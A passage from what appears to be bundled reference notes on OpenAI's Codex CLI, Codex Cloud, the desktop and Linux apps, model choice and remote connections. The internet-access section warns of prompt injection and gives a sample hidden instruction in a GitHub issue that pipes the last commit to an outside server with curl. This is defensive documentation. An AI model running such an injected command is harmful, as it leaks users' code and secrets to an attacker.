codex
```
Updates use the same install command for the standalone installers and npm; Homebrew updates with `brew upgrade --cask codex`. Run the Windows installer from a new PowerShell window.
Build a terminal workflow around Codex:
```bash
codex resume # reopen a recent chat from the current repository, or search older local chats
codex --image ./error.png "..." # pass visual context with the first prompt (or paste into the composer)
codex --search # switch a run to live web search; activity stays visible in the transcript
codex cloud # browse chats, submit work to a configured environment, apply results locally
codex mcp # add local or remote MCP servers, authenticate, inspect available tools
codex completion # generate shell completions
```
## Getting started
1. **Install Codex** with the installer, npm, or Homebrew (see above).
2. **Run Codex and sign in.** Open a project directory and run `codex`; the first time, choose "Sign in with ChatGPT" or another available sign-in method.
3. **Start your first task.** Describe what you want (e.g. `Tell me about this project`). Create Git checkpoints before and after a task so you can revert changes.
## Build a terminal workflow
- **Return to a saved chat:** `codex resume` reopens a recent chat from the current repository, or searches across local chats.
- **Bring visual context:** `codex --image` passes an error screenshot, architecture diagram, or design reference with the first prompt.
- **Split up a larger investigation:** ask Codex to delegate focused work to subagents and bring findings back into the main session.
- **Search for current context:** `codex --search` switches a run to live web search.
- **Move work to Codex cloud:** `codex cloud`.
- **Connect external tools with MCP:** `codex mcp`.
- **Set the boundaries for each run:** `/permissions` chooses when Codex can edit files or run commands without asking and shows the active sandbox and writable roots.
- **Fit Codex to your terminal:** `codex completion` generates completions for your shell; choose a syntax theme; open longer prompts in the editor configured by `VISUAL` or `EDITOR`.
- **Review changes before they ship:** run a dedicated review against uncommitted changes, a commit, or a base branch; Codex reports prioritized findings without modifying your working tree.
- Use the CLI when you work from the terminal, need scripting or CI (`codex exec`), want a local code review, or want to hand work to the cloud.
## Next steps
- CLI reference, configuration (config-basics.md), and automation with `codex exec` (non-interactive-mode.md).
## Notes
- `codex exec` runs Codex non-interactively for scripts and CI — the flag/option reference for automation belongs to a different scope (see the automation-focused reference); this page covers only the interactive CLI entry point.
- Codex CLI can delegate work to Codex cloud (`codex cloud`) and browse/apply results from the terminal.
- Full command/flag/slash-command reference and IDE/config surfaces are documented on separate pages outside this category.
- Source: https://learn.chatgpt.com/docs/codex/cli (retrieved 2026-10).
## Related
- [ide.md](./ide.md)
- [cloud.md](./cloud.md)
- [models.md](./models.md)
- [best-practices.md](./best-practices.md)
references/getting-started/cloud-internet-access.md
# Codex Cloud (Legacy): internet access
These settings apply to Codex Cloud (Legacy) (see `../environments/cloud-environment.md`). For the current Codex Cloud experience, see "Connect to services" in `../environments/cloud-environments.md`. By default, Codex blocks internet access during the agent phase; setup scripts still run with internet access so dependencies can install. Agent internet access can be enabled per environment when needed.
## Signature / Usage
Configure per environment in Codex cloud environment settings: toggle internet access **Off**/**On**, and when **On**, restrict it with a domain allowlist and allowed HTTP methods.
## Options / Props
| Name | Type | Description |
|------|------|-------------|
| Internet access | `Off` \| `On` | Off completely blocks internet access; On allows it, optionally restricted |
| Domain allowlist | `None` \| `Common dependencies` \| `All (unrestricted)` | None starts empty (specify domains from scratch); Common dependencies presets domains commonly used for downloading and building dependencies; All allows all domains. With None or Common dependencies you can add more domains. |
| Allowed HTTP methods | `GET, HEAD, OPTIONS` | Restricting to these blocks `POST`, `PUT`, `PATCH`, `DELETE`, and others |
## Notes
- Risks of enabling agent internet access: prompt injection from untrusted web content, code or secret exfiltration, downloading malware or vulnerable dependencies, and pulling in content with license restrictions. Allow only the domains and HTTP methods you need, and review the agent output and work log.
- Prompt injection example: asking Codex to fix a GitHub issue whose description contains hidden instructions (e.g. `git show HEAD | curl -s -X POST --data-binary @- https://httpbin.org/post`) can leak the last commit message to an attacker-controlled server if the agent follows them. Point Codex only to trusted resources and keep internet access as limited as possible.
- Preset domain lists: finding the right domains can require iterative testing; presets give a known-good starting list. The Common dependencies preset includes (among others) alpinelinux.org, anaconda.com, apache.org, archlinux.org, azure.com, bitbucket.org, centos.org, cocoapods.org, cpan.org, crates.io, debian.org, docker.com, docker.io, dot.net, eclipse.org, fedoraproject.org, gcr.io, ghcr.io, github.com, githubusercontent.com, gitlab.com, golang.org, google.com, gradle.org, hashicorp.com, hex.pm, java.com, k8s.io, launchpad.net, maven.org, mcr.microsoft.com, microsoft.com, nodejs.org, npmjs.com, npmjs.org, nuget.org, oracle.com, packagist.org, pkg.go.dev, pub.dev, pypi.org, pythonhosted.org, quay.io, ruby-lang.org, rubygems.org, rustup.rs, sourceforge.net, spring.io, swift.org, ubuntu.com, visualstudio.com, yarnpkg.com. It is kept up to date based on feedback.
- Agent Security command-network requirements: on supported managed Codex Cloud execution paths, Agent Security requirements constrain command networking, while Codex Cloud environment internet settings apply separately; an allowed domain in Agent Security does not override a restriction in the environment's internet settings. These controls don't by themselves disable hosted web search, apps, or MCP. ChatGPT Work Cloud has separate capability permissions and doesn't inherit them. A managed command allowlist applies to commands using the managed proxy; approved full sandbox escalation (where policy permits it) can bypass the command proxy, so configure enforced approval and sandbox requirements and test ordinary and escalated commands (see managed-configuration.md).
- For the current Cloud environments experience, internet access is controlled in the environment's "Connect to services" settings (cloud-environments.md).
- Source: https://learn.chatgpt.com/docs/cloud/internet-access (retrieved 2026-10).
## Related
- [cloud.md](./cloud.md)
- [Cloud environments](../environments/cloud-environments.md)
references/getting-started/cloud.md
# Codex Cloud
Give Codex coding tasks to work through in the cloud, from investigating bugs to building features. Review changes and continue from the web, mobile, or desktop app.
## Signature / Usage
Open ChatGPT on the web, mobile, or in the desktop app and sign in; or run `codex cloud` from the Codex CLI to browse and submit cloud tasks.
## Getting started
1. **Open ChatGPT** on the web, mobile, or in the desktop app, then sign in with your ChatGPT account.
2. **Create or select an environment.** On the web or in the desktop app, choose Work in > Cloud and open Select environment. On mobile, open Codex. Select an existing environment to begin; to create one, use the web or desktop app and select Create environment (see cloud-environments.md in the environments category).
3. **Let Codex prepare your project.** Choose your GitHub repositories and select Get started (connect GitHub if prompted). Codex inspects your repositories, installs dependencies and tools, and tests the workflow. Provide any missing access or information when asked.
4. **Review and publish.** For a new environment, review the setup and test results, save changes, and select Publish. Wait for Environment published.
5. **Start a task.** After publishing a new environment, select Start a new task (with an existing environment you can start right away). Describe your task and send it. Review the changes and test results, request follow-ups, and commit or open a pull request when ready.
## Why use Codex Cloud
- **Start with your project:** choose repositories; Codex inspects the project, works through setup, and asks for missing details or access.
- **Keep work moving:** start tasks from a published environment; each task has its own workspace and can keep working while your computer is asleep.
- **Review the work:** inspect changed files and results, request follow-up changes, and commit or open a pull request when you're ready.
## Notes
- Use Codex Cloud when work should run remotely, several tasks need the same setup, or your workflow needs service credentials (network secrets for allowed HTTPS services with limited network destinations).
- Next steps: configure cloud environments, internet access (Connect to services), environment variables and network secrets, saved state (Reuse and update saved state), and ChatGPT in Slack (see `../environments/cloud-environments.md` and `../third-party/slack.md`).
- From the CLI, `codex cloud` starts a task from your terminal, or lists recent cloud chats and checks their status.
- Legacy flow: the earlier environment-settings / secrets wording (chatgpt.com/codex/settings/environments) is the "Codex Cloud (Legacy)" experience, documented in `../environments/cloud-environment.md`; legacy internet access settings are in [cloud-internet-access.md](./cloud-internet-access.md).
- Source: https://learn.chatgpt.com/docs/cloud (retrieved 2026-10).
## Related
- [cloud-internet-access.md](./cloud-internet-access.md)
- [Cloud environments](../environments/cloud-environments.md)
- [Codex Cloud (Legacy) environment](../environments/cloud-environment.md)
- [cli.md](./cli.md)
- [ide.md](./ide.md)
- [models.md](./models.md)
references/getting-started/codex-micro.md
# Codex Micro
A limited-run hardware keyboard accessory (collaboration with Work Louder) for the ChatGPT desktop app: six illuminated Agent Keys that follow chats and show status, customizable Command Keys, an analog stick, a dial, and voice input — a way to check chats, switch between them, and trigger Codex actions or skills without leaving the keyboard.
## Signature / Usage
Press the rear button once to turn the device on, connect via USB-C or Bluetooth, then follow the setup that appears when ChatGPT detects it. Open **Settings > Codex Micro** to configure the Agent Keys, Command Keys, analog stick, dial, and lighting.
## Options / Props
| Name | Description |
|------|-------------|
| Agent Keys (6) | Each follows a chat and lights up with status (idle/thinking/complete/requires input/error/unassigned). Single press switches to that chat; double press (within 350ms) also brings ChatGPT forward. Arrangement modes: Most recent chats, Pinned chats, Priority chats, Custom assignments (can trigger an action or enabled skill instead of following a chat). |
| Command Keys (6) | Default layout: Fast (toggle Fast mode), Approve, Decline, Fork (continue chat in a new chat), Mic (push-to-talk), Codex (send composer message). Each is remappable to another command or enabled skill. |
| Analog stick | Four directional actions, default: Up = toggle Plan mode, Right/Left = forward/back in app history, Down = toggle sidebar. Remappable per direction. |
| Dial | Modes: Composer navigation (default), Reasoning only, Conversation scrolling, Custom assignments. Press-and-hold opens device settings (except in Custom assignments mode). |
## Notes
- Bluetooth pairing: three Bluetooth channels. Press the rear button once, press and hold the touch control on the bottom-left edge for three seconds (lighting turns blue), tap to choose channel 1, 2, or 3 (fast-flashing channel light = ready to pair), connect in the computer's Bluetooth settings, and wait for the channel light to turn solid. The connection selector closes after five seconds without input. For USB-C, tap the touch control until the lighting turns white; plugging in a cable while in Bluetooth mode only charges it.
- Settings: press and hold the dial (default) or select the Micro icon beside your account name at the bottom of ChatGPT. Work Louder Input isn't required for the ChatGPT integration.
- Agent Key status lights: White idle, Blue thinking, Green complete (unread update), Amber requires input, Red error, Off no assigned chat. A single press switches chats without bringing ChatGPT forward (enable **Focus ChatGPT with a single tap** to change that). Custom assignments: an unassigned Agent Key opens a new chat and ChatGPT assigns it to that key.
- Mic key: default **Push to talk** (hold, then release); press twice within 350 ms for hands-free recording. Lighting: sea-green while recording, moving white while processing, solid white when ready; press the Codex key to send. If **Voice Chat** is available under **Microphone key**, the Mic key can start a Voice Chat or toggle the microphone (press and hold to end); **Use separate microphone keys** maps the two switches under the wide Mic key independently.
- Remapping: select a Command Key in the **Layout** preview and choose its keycap and action (open the browser or terminal, manage chats, review changes, run Git and PR actions, attach files or photos, open plugins or scheduled tasks, change reasoning effort, run an enabled skill, or another shortcut); choosing a keycap already in use swaps the two. **Reset layout** restores the default Command Key and analog stick assignments without changing the Agent Key mode or custom chat assignments.
- Dial: when a composer control or menu is open the Agent Key right of the dial lights red (press to cancel). Modes: Composer navigation, Reasoning only, Conversation scrolling (press to jump to the latest message), Custom assignments (left turn, right turn, press, long press).
- Lighting: adjust **Brightness** and **Auto-dim** (30 seconds to one hour, or off; default off after three minutes); battery status appears in device settings and beside the Micro icon when reported.
- Add more layers: ChatGPT uses layer 1; use Work Louder Input to configure up to five more layers for other apps.
- Troubleshooting on macOS: if Input Monitoring isn't set up, open **System Settings > Privacy & Security > Input Monitoring**, enable (or add) ChatGPT, quit and reopen ChatGPT, and confirm it detects the Micro on layer 1. For connection interference, ChatGPT retries automatically; reconnect the Micro and check for keyboard utilities or security tools blocking access (Work Louder notes Karabiner and Logitech Options+ can interfere when they have Input Monitoring permission; ask IT to check device rules on managed computers).
- Get a compatible Micro through OpenAI Supply Co; the ChatGPT desktop app also supports Creator Micro 2, available directly from Work Louder.
- macOS requires granting **Input Monitoring** to ChatGPT (System Settings > Privacy & Security > Input Monitoring) for key presses to register.
- Mic key uses the host computer's microphone; the device has no microphone of its own.
- Support for Bluetooth/cable/power issues comes from Work Louder (`hello@worklouder.cc`), not OpenAI Support.
- Source: https://learn.chatgpt.com/docs/features/codex-micro (retrieved 2026-10).
## Related
- [Best practices](./best-practices.md)
references/getting-started/desktop-app.md
# ChatGPT desktop app
Run projects in parallel, work with files, use your computer, and keep long-running work moving from one desktop workspace.
## Signature / Usage
Get-started flow (the page has no code; steps are reproduced as a text block):
```text
1. Install the ChatGPT desktop app. Download ChatGPT (https://chatgpt.com/download/) for macOS or Windows, or follow the Linux installation guide.
2. Open ChatGPT and sign in with your ChatGPT account.
3. Choose where to work: start a chat, create a project, or open a folder.
4. Send your first message. Choose ChatGPT or Codex.
- ChatGPT: use the toggle above the composer to select Chat or Work.
- Codex: start with New chat. For a quick question, point to New chat and select the Quick chat icon on its right.
```
## Notes
- Why use it: keep every chat in view across projects and long-running work; create and inspect real outputs (documents, spreadsheets, images, other files) in the same workspace; work across the browser, desktop apps, and plugins, or schedule a task inside a chat.
- Use the desktop app when you want to coordinate several projects, create and review files, use the browser and your computer, or schedule recurring work (a standalone scheduled task, or a task inside an existing chat).
- macOS and Windows builds are downloaded from `https://chatgpt.com/download/`; Linux is installed by following the Linux guide (preview).
- Sample use cases listed on the page: daily work brief, analyzing a data export into interactive visuals, drafting a PRD from sources, cleaning messy CSV/spreadsheet data into a copy, and synthesizing feedback into actions.
- Source: https://learn.chatgpt.com/docs/app (retrieved 2026-10).
## Related
- [ChatGPT desktop app for Linux](./linux-app.md)
- [ChatGPT desktop app for Windows](./windows-app.md)
- [Codex CLI](./cli.md)
- [Codex IDE extension](./ide.md)
references/getting-started/ide.md
# Codex IDE extension
Use Codex beside your code and editor context. Bring open files and selections into the prompt, review edits in place, and hand off longer work without breaking your flow.
## Signature / Usage
Install the extension, then open it from the editor:
- Visual Studio Code / Cursor / Windsurf: install the Codex extension (`openai.chatgpt` on the VS Code Marketplace), then select the Codex icon or run **Codex: Open Codex Sidebar** from the Command Palette.
- Xcode: open the coding assistant, start a new chat, and choose Codex as the agent.
- JetBrains IDEs: open AI Chat and select Codex.
## Getting started
1. **Install or enable Codex** for your IDE (VS Code and compatible editors use the Codex extension; Xcode and JetBrains provide their own integrations).
2. **Open Codex** in the editor sidebar / AI chat panel.
3. **Start your first chat.** Ask Codex to explain the codebase, make a focused change, or help debug an issue. Create Git checkpoints before and after a task so you can revert changes.
## See what Codex can do in your IDE
- **Use the context already open:** add an open file, a selection, or a recent chat to the composer, then ask Codex to explain or edit with that context attached.
- **Review changes beside your code:** read a concise summary and the changed lines, keep the edits you want, and ask for a follow-up from the same view.
- **Delegate when the task gets bigger:** keep quick iterations local, or connect Codex web to delegate a longer task; the chat stays available when you return to review the result.
- Use the extension when you are making focused edits, learning unfamiliar code, reviewing changes in place, or delegating a larger task.
Install links: Visual Studio Code, Cursor, and Windsurf (`openai.chatgpt` extension), Visual Studio Code Insiders (Marketplace), Xcode (coding intelligence setup), and JetBrains IDEs (AI Assistant Codex agent).
## Next steps
- Prompt with editor context (prompting.md), IDE commands (`../commands/ide-commands.md`), and extension settings (`../commands/ide-settings.md`).
## Notes
- The IDE extension can reference open files, selections, and recent chats directly from the composer as editor context.
- Longer tasks can be delegated to Codex cloud from the same editor workflow and the chat stays available when you return to review the result.
- IDE-specific keyboard shortcuts/commands and settings (`chatgpt.*` keys) are documented on the separate pages `../commands/ide-commands.md`, `../commands/ide-slash-commands.md`, and `../commands/ide-settings.md`.
- Source: https://learn.chatgpt.com/docs/codex/ide (retrieved 2026-10).
## Related
- [cli.md](./cli.md)
- [cloud.md](./cloud.md)
- [models.md](./models.md)
- [best-practices.md](./best-practices.md)
references/getting-started/linux-app.md
# ChatGPT desktop app for Linux
The ChatGPT desktop app for Linux is available in preview. Install the package for your distribution and processor architecture, then sign in with your ChatGPT account to work with projects, local files, and Codex.
## Signature / Usage
```bash
# Ubuntu / Debian (.deb)
cd ~/Downloads
sudo apt install ./chatgpt_amd64.deb # ARM64: chatgpt_arm64.deb
# Fedora (.rpm)
sudo dnf install ./chatgpt.x86_64.rpm # ARM64: chatgpt.aarch64.rpm
# Arch Linux (installation script; performs a full system upgrade and prompts for confirmation)
curl --proto '=https' --tlsv1.2 -fL -o install-arch.sh \
https://persistent.oaistatic.com/codex-app-prod/linux/install-arch.sh
sudo bash install-arch.sh
```
Open **ChatGPT** from the applications menu, or run `chatgpt` in a terminal (Arch: applications menu), then sign in and follow the desktop app quickstart.
## Options / Props
| Distribution | Architecture | Package |
|--------------|--------------|---------|
| Ubuntu or Debian | x64 | `https://persistent.oaistatic.com/codex-app-prod/linux/deb/latest/chatgpt_amd64.deb` |
| Ubuntu or Debian | ARM64 | `https://persistent.oaistatic.com/codex-app-prod/linux/deb/latest/chatgpt_arm64.deb` |
| Fedora | x64 | `https://persistent.oaistatic.com/codex-app-prod/linux/rpm/latest/chatgpt.x86_64.rpm` |
| Fedora | ARM64 | `https://persistent.oaistatic.com/codex-app-prod/linux/rpm/latest/chatgpt.aarch64.rpm` |
| Arch Linux | x64 / ARM64 | `install-arch.sh` script (detects architecture) |
Update commands:
```bash
sudo apt update && sudo apt install --only-upgrade chatgpt # Ubuntu / Debian
sudo dnf upgrade --refresh chatgpt # Fedora
sudo pacman -Syu # Arch Linux
```
## Notes
- Supported distributions (preview): Ubuntu 24.04 LTS and 26.04 LTS, Debian 13, Fedora 43 and 44, Arch Linux (current, fully updated rolling releases). Other distributions may work but are not formally supported.
- Check the processor with `uname -m`: `x86_64` is x64; `aarch64` or `arm64` is ARM64.
- Installation configures a signed OpenAI package repository; later updates go through the distribution's package manager.
- Computer Use is available on macOS and Windows but not yet in the Linux preview; a future release will add Linux support.
- Native Wayland support is experimental. In a Wayland session the app uses XWayland when available. To select native Wayland, fully quit the app and launch it with `chatgpt --ozone-platform=wayland`. Floating windows, window positioning, focus, and keyboard shortcuts may not fully work yet.
- Source: https://learn.chatgpt.com/docs/linux/linux-app (retrieved 2026-10).
## Related
- [ChatGPT desktop app](./desktop-app.md)
- [ChatGPT desktop app for Windows](./windows-app.md)
references/getting-started/model-selection.md
# Model selection
Guidance on choosing a model and reasoning effort for ChatGPT Work and Codex. Luna is the most efficient model; Astra is the state-of-the-art, most powerful model.
## Signature / Usage
Recommended model and reasoning-effort pairings, as listed on the page:
```text
1. Luna · Low Fine-grained edits, well-scoped problem-solving, and simple data extraction.
2. Luna · Extra high Finding current context across multiple apps, prioritizing work, and solving problems with clear constraints.
3. GPT-6.1 Sol · Medium Complex technical work and coordinated deliverables you expect to revise.
4. GPT-6.1 Sol · Extra high Polished deliverables, connected visual systems, and decisions built from conflicting evidence.
5. Astra · Low Concise writing and content adaptation that preserve facts and nuance.
6. Astra · Medium Ambitious projects that need broad context, reliable interactions, and complete results.
7. Astra · Extra high Demanding analysis and complex deliverables with exacting requirements.
```
## Notes
- If you don't need to think about usage or how long a task takes, you can default to Astra. To optimize usage, use the pairings above.
- Consider GPT-6.1 Sol for complex projects where cost matters (e.g. a board presentation from financial results, a website from a product brief); compare it with Astra on the same task to assess the quality/cost tradeoff.
- Availability, tools, reasoning settings, and usage limits differ by product and model version. See the models available in ChatGPT and the API model catalog (`https://developers.openai.com/api/docs/models`; GPT-6.1 Sol: `https://developers.openai.com/api/docs/models/gpt-6.1-sol`).
- The page also embeds an interactive model overview and a model recommender; their content is not present in the markdown source and is not reproduced here.
- Experiment: consider how often the workflow runs, how quickly you need the result, how the output will be used, and how important quality is. Compare results on the same inputs and keep the lightest setting that meets your quality bar.
- Source: https://learn.chatgpt.com/docs/model-selection (retrieved 2026-10).
## Related
- [Models](./models.md)
- [Codex CLI](./cli.md)
references/getting-started/models.md
# Models
Meet the AI models that power ChatGPT Work and Codex, and how to choose between them across the desktop app, ChatGPT Work on the web, Codex CLI, and the IDE extension.
## Signature / Usage
```bash
# Choose a model / reasoning effort for a CLI run
codex --model gpt-6.1-sol
codex exec -m gpt-6.1-sol "Review the current changes"
```
In an interactive CLI session, use `/model` to switch models or adjust reasoning effort. In the desktop app, ChatGPT Work on the web, and the IDE extension, use the model and reasoning control beneath the composer.
To set a default model for the desktop app, CLI, and IDE extension (they share one `config.toml`):
```toml
model = "gpt-6.1-sol"
```
## Options / Props
Recommended models. Capability and Speed are out of 5 (the number of icons on the official model cards).
| Name | Capability | Speed | Desktop app | Web | CLI | IDE extension | Credits | API |
|------|-----------|-------|-------------|-----|-----|----------------|---------|-----|
| `gpt-6-astra` (most capable model for complex work across code, apps, and research) | 5 | 2 | Yes | Yes | Yes | Yes | Yes | Yes |
| `gpt-6.1-sol` (near-Astra performance at a lower cost; repeated, long-running work) | 5 | 3 | Yes (Work and Codex) | Yes (ChatGPT Work) | Yes | Yes | Yes | Yes |
| `gpt-6-luna` (most efficient; focused, high-volume tasks) | 3 | 4 | Yes (Work and Codex) | Yes (ChatGPT Work) | Yes | Yes | Yes | Yes |
Retired / deprecated models:
| Name | Status | Replacement |
|------|--------|-------------|
| `gpt-5.5` | Retires from Codex with ChatGPT sign-in on 2026-10-14, noon PDT (19:00 UTC) | Paid plans: `gpt-6.1-sol`; Free and Go: `gpt-6-luna` |
| `gpt-5.4` | Retired 2026-08-31 | `gpt-6-sol` |
| `gpt-5.4-mini` | Retired 2026-08-31 | `gpt-6-luna` |
| `gpt-5.3-codex-spark` | Retired 2026-09-14 | An available model |
| `gpt-5.2`, `gpt-5.3-codex` | Already deprecated (ChatGPT sign-in) | An available model |
## Notes
- Recommended: use GPT-6.1 Sol when available to your account and client for complex coding and agentic workflows; Luna for focused, repeatable tasks; Astra when a task needs the strongest capability across steps and tools.
- In ChatGPT, GPT-6.1 Sol, GPT-6 Sol, and GPT-6 Luna are available in Work and Codex. They aren't available in Chat.
- GPT-5.6 Sol, GPT-5.6 Terra, and GPT-5.6 Luna remain available during the rollout. Selecting a new model doesn't change workspace permissions or grant access to it.
- `gpt-6-sol` has no model card on the page; it appears only as the replacement for `gpt-5.4`.
- GPT-6.1 Sol launch rollout: Plus, Pro, Business, Enterprise, and Edu in Codex in the desktop app and CLI, and ChatGPT Work on the web and mobile. Enterprise and Edu keep it off by default until an administrator enables it. Free and Go are not included at launch.
- Standard and Fast modes are available where supported. Ultrafast is available on Pro $500 and eligible Enterprise and Edu plans (see speed.md).
- GPT-5.5 retirement: the OpenAI API and Codex sessions authenticated with an API key aren't affected. Replace `gpt-5.5` in workspace defaults, saved model settings, managed configurations, custom agents, scheduled tasks, and scripts that select a model.
- `gpt-5.4` / `gpt-5.4-mini`: in Enterprise and Edu, an administrator must enable Luna first. The OpenAI API and Codex authenticated with your own API key aren't affected.
- Custom model provider or gateway: use a compatible Responses API endpoint. Current Codex releases don't support `wire_api = "chat"` or a Chat Completions-only endpoint.
- With API-key authentication, model availability follows your API organization and project; GPT-5.5 remains available through the OpenAI API and in API-key Codex sessions.
- Source: https://learn.chatgpt.com/docs/models (retrieved 2026-10).
### Reasoning effort
- For GPT-6.1 Sol, start with the reasoning effort available by default in your client. Start with **High** for Luna or **Light** for Astra. In configuration, Astra's Light setting is `low`.
- **Light** (desktop app, ChatGPT Work on the web, IDE extension) or **Low** (CLI) suits quick, well-scoped tasks. **Medium** balances speed and depth. **High** and **Extra High** suit difficult work with multiple steps, sources, or tradeoffs.
- Reasoning efforts don't map exactly between model generations.
- **Max** gives the selected model more time to reason about a single task. **Ultra** uses subagents to handle separate parts of a complex task in parallel. Most tasks do not need Max or Ultra.
- GPT-6 Luna supports reasoning efforts up to **Max**, but not **Ultra**.
- In the CLI, use `/model`, choose a model, then select **More reasoning…** to see its supported Max or Ultra options.
- If a model supports Ultra but it doesn't appear in the desktop app's model slider, go to **Settings** > **Configuration**, then turn on **Ultra in model picker slider**.
## Related
- [cli.md](./cli.md)
- [ide.md](./ide.md)
- [cloud.md](./cloud.md)
- [best-practices.md](./best-practices.md)
references/getting-started/README.md
# Getting Started
| Name | Description | Path |
|------|-------------|------|
| Best practices | Getting started with Codex and proven practices for better results, across the CLI, IDE extension, and ChatGPT desktop app — prompting, planning, validation, MCP, skills, and scheduled tasks. | [best-practices.md](./best-practices.md) |
| Codex CLI | Inspect code, make changes, run commands, and automate repeatable work without leaving your terminal. Works against your local repository with configurable model, reasoning effort, and permissions. | [cli.md](./cli.md) |
| CLI customization | Terminal-specific options for how interactive Codex CLI sessions look and how you enter commands and prompts: syntax-highlight themes, shell completions, and an external prompt editor. | [cli-customization.md](./cli-customization.md) |
| Codex Cloud | Give Codex coding tasks to work through in the cloud, from investigating bugs to building features. Review changes and continue from the web, mobile, or desktop app. | [cloud.md](./cloud.md) |
| Codex Cloud (Legacy): internet access | These settings apply to Codex Cloud (Legacy) (see `../environments/cloud-environment.md`). For the current Codex Cloud experience, see "Connect to services" in `../environments/cloud-environments.md`. By default, Codex blocks internet access during the agent phase; setup scripts still run with internet access so dependencies can install. Agent internet access can be enabled per environment when needed. | [cloud-internet-access.md](./cloud-internet-access.md) |
| Codex Micro | A limited-run hardware keyboard accessory (collaboration with Work Louder) for the ChatGPT desktop app: six illuminated Agent Keys that follow chats and show status, customizable Command Keys, an analog stick, a dial, and voice input — a way to check chats, switch between them, and trigger Codex actions or skills without leaving the keyboard. | [codex-micro.md](./codex-micro.md) |
| ChatGPT desktop app | Run projects in parallel, work with files, use your computer, and keep long-running work moving from one desktop workspace. | [desktop-app.md](./desktop-app.md) |
| Codex IDE extension | Use Codex beside your code and editor context. Bring open files and selections into the prompt, review edits in place, and hand off longer work without breaking your flow. | [ide.md](./ide.md) |
| ChatGPT desktop app for Linux | The ChatGPT desktop app for Linux is available in preview. Install the package for your distribution and processor architecture, then sign in with your ChatGPT account to work with projects, local files, and Codex. | [linux-app.md](./linux-app.md) |
| Model selection | Guidance on choosing a model and reasoning effort for ChatGPT Work and Codex. Luna is the most efficient model; Astra is the state-of-the-art, most powerful model. | [model-selection.md](./model-selection.md) |
| Models | Meet the AI models that power ChatGPT Work and Codex, and how to choose between them across the desktop app, ChatGPT Work on the web, Codex CLI, and the IDE extension. | [models.md](./models.md) |
| Codex on mobile (Codex Remote) | Start, guide, and review Codex coding tasks from your phone. Follow progress, approve actions, and send instructions; Codex runs tasks in the cloud or on a connected Mac or Windows PC. Formerly referred to as Remote. Availability depends on rollout and your workspace settings. | [remote.md](./remote.md) |
| Remote connections | Full setup and reference for connecting the ChatGPT mobile app (or another ChatGPT desktop app device) to a Mac/Windows host running Codex, or connecting the desktop app to a project on an SSH host. The remote session uses the connected host's projects, chats, files, credentials, permissions, plugins, Computer Use, browser setup, and local tools. | [remote-connections.md](./remote-connections.md) |
| Troubleshooting | FAQ, logs, stuck-state recovery, and terminal issues for the ChatGPT desktop app and Codex. | [troubleshooting.md](./troubleshooting.md) |
| ChatGPT desktop app for Windows | The Windows build of the ChatGPT desktop app: worktrees, scheduled tasks, Git functionality, built-in browser, file previews, plugins, and skills, running natively via PowerShell under the native Windows sandbox, or configurable to run the agent inside WSL2. | [windows-app.md](./windows-app.md) |
references/getting-started/remote-connections.md
# Remote connections
Full setup and reference for connecting the ChatGPT mobile app (or another ChatGPT desktop app device) to a Mac/Windows host running Codex, or connecting the desktop app to a project on an SSH host. The remote session uses the connected host's projects, chats, files, credentials, permissions, plugins, Computer Use, browser setup, and local tools.
## Signature / Usage
```text
# ~/.ssh/config on the machine running the desktop app
Host devbox
HostName devbox.example.com
User you
IdentityFile ~/.ssh/id_ed25519
```
```bash
ssh devbox # confirm connectivity before adding the host in Settings > Connections
```
## Options / Props
| Name | Description |
|------|-------------|
| Mobile → desktop host | Desktop app: **Settings > Connections > Control this Mac or PC > Set up** → scan QR code from ChatGPT mobile app **Remote**. Supports macOS and Windows hosts. |
| Control other devices | Desktop app: **Settings > Connections > Control other devices**, for continuing work from another signed-in desktop app device. A device can both allow remote access and control another device. |
| SSH host project | Add the host to `~/.ssh/config` (concrete aliases only, resolved via OpenSSH; pattern-only hosts are ignored), confirm `ssh <host>` works, ensure `codex` is on `PATH` in the remote login shell, then add it under **Settings > Connections**. |
| Chat handoff | Chat footer → select run location → destination host (or **This computer** to bring a remote chat back) → **Hand off**. Requires a saved project for the same Git repository (same subdirectory) on both hosts; interrupts an in-flight response before transferring. |
## Notes
- What you can do remotely: start new chats in projects on the host or continue existing ones; send follow-ups, answer questions, and steer active work; approve commands and other actions; review outputs, diffs, test results, terminal output, and screenshots; get notified when a task completes or needs attention; switch between connected hosts and chats.
- Before you set up mobile access: hosts run the ChatGPT desktop app on macOS or Windows; you can control a host from ChatGPT on iOS or Android, or from another Mac or Windows device when **Control other devices** is available (availability varies by rollout). Requires Codex access in the account and workspace, the latest ChatGPT mobile app, the latest desktop app on an awake, online, signed-in host (setup starts from the app; not from the Codex CLI or IDE extension), and any required MFA, SSO, or passkey configuration. Workspace admins may need to enable Remote Control access. The QR code pairs that phone with that host; pair every phone or supported desktop device with every host you want it to control. After setup the host appears in **Codex** on iOS (or **Remote** if the app still uses that label). Manage connected devices, keep-awake, Computer Use, and the Chrome extension in **Settings > Connections**.
- Choose what to connect: your laptop or desktop (remote access stops if it sleeps, loses network, or the app closes; on a Mac laptop it can stay available with the lid open and power connected, or lid closed with an external display; choosing **Sleep** stops it; on Windows keep the session unlocked for Computer Use tasks, which run in the foreground); a dedicated always-on Mac or Windows PC (install projects, credentials, MCP servers, skills, and tools there); or a remote development environment via an SSH host (connect the desktop host to it first; the phone still connects to the same host). For browser or desktop tasks on an always-on or remote host, enable Computer Use and install the Chrome extension on that host.
- What comes from the connected host: repository files and local documents; shell commands run on that host or remote environment; MCP servers, skills, browser access, and Computer Use come from the host's configuration; signed-in websites and desktop apps only when the host can access them; sandboxing, security controls, and action approvals still apply. A secure relay layer keeps trusted machines reachable across your authorized ChatGPT devices without exposing them directly to the public internet.
- Pick up work from another device: on a Mac or Windows device where available, **Settings > Connections > Control other devices** adds another host; a device can allow remote access and control another device at the same time.
- SSH host setup: add a concrete host alias to `~/.ssh/config`, confirm `ssh <host>`, install and authenticate Codex on the remote host (the app starts the remote Codex app server through SSH using the remote user's login shell, so `codex` must be on `PATH` there), then in **Settings > Connections** add or enable the SSH host and choose a remote project folder. Keep the remote host to normal SSH security expectations (trusted keys, least-privilege accounts, no unauthenticated public listeners).
- Handoff: moves an existing chat and its Git state between your local computer and a connected remote host, creating or reusing a worktree on the destination. You can also ask Codex in another chat to hand off a named chat; Codex can't hand off the chat making the request, and handoff to a Codex cloud environment isn't supported.
